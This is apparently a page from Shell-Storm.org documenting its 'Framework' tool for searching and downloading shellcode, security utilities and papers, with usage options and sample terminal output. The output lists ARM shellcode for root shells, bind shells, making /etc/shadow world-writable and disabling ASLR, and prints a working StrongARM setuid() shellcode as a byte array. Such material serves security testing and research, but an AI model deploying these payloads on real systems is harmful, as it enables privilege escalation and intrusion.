|
Shell-Storm.org is a development organization based on GNU/Linux systems
that provide free projects and source codes.
Shell-storm.org provides useful information to people who perform security testing.
Shell-Storm FramWork
====================
Download http://www.shell-storm.org/project/framework/files/
Usage
======
Usage : framework.py <option> <argument>
Option: -ss <word> Search shellcode with filtre
-su <word> Search utility with filtre
-sp <word> Search paper with filtre
-ds <ID> {down} Display shellcode. Set down for download source
-du <ID> {down} Display utility. Set down for download source
-dp <ID> Download paper
-md5 <word> Try to decrypte hash md5
-up Upgrade framework
How to search shellcode
=======================
jonathan@ArchLinux [201010] $ ./framework-201011.py -ss arm
[+] Shell-storm.org Framework 201011
[+] Search shellcode: arm
[+] 17 shellcodes found
ID System Title
-------------------------------------------------------------------------
[666] [Linux/ARM] setuid(0) & execve(/bin/sh, /bin/sh, 0) - 38 bytes
[668] [Linux/ARM] chmod(/etc/shadow, 0777) Shellcode - 35 Bytes
[727] [Linux/ARM] ifconfig eth0 and Assign Address
[670] [Linux/ARM] polymorphic chmod(/etc/shadow, 0777) - 84 Bytes
[665] [Linux/ARM] execve(/bin/sh, /bin/sh, 0) - 30 bytes
[659] [Linux/StrgARM] execve() - 47 bytes
[661] [Linux/StrgARM] bind() portshell - 203 bytes
[660] [Linux/StrgARM] setuid() - 20 bytes
[671] [Linux/ARM] Polymorphic execve("/bin/sh", ["/bin/sh"], NULL); - XOR 88 encoded - 78 bytes
[696] [Linux/ARM] execve(/bin/sh,NULL,0) - 31 bytes
[669] [Linux/ARM] Disable ASLR Security - 102 bytes
[729] [Linux/ARM] Bind Connect UDP Port 68
[698] [Linux/ARM] execve(/bin/sh, [0], [0 vars]) - 27 bytes
[667] [Linux/ARM] Kill all processes (with/without _setuid) - 28 bytes
[730] [Linux/ARM] Bindshell port 0x1337
[694] [Linux/ARM] Linux Execute Command (MSF)
[728] [Linux/ARM] Loader Port 0x1337
How to Display shellcode
=========================
jonathan@ArchLinux [v4]$ python framework-201011.py -ds 660
[+] Shell-storm.org Framework 201011
[+] shellcode ID: 660
Title: StrongARM - setuid() - 20 bytes
/*
* 20 byte StrongARM/Linux setuid() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x04\x10\x8f\xe2" /* add r1, pc, #4 */
"\x12\x02\xa0\xe1" /* mov r0, r2, lsl r2 */
"\x01\x20\xc1\xe5" /* strb r2, [r1, #1] */
"\x17\x0b\x90\xef"; /* swi 0x90ff17 */
Framework Screenshots
======================
|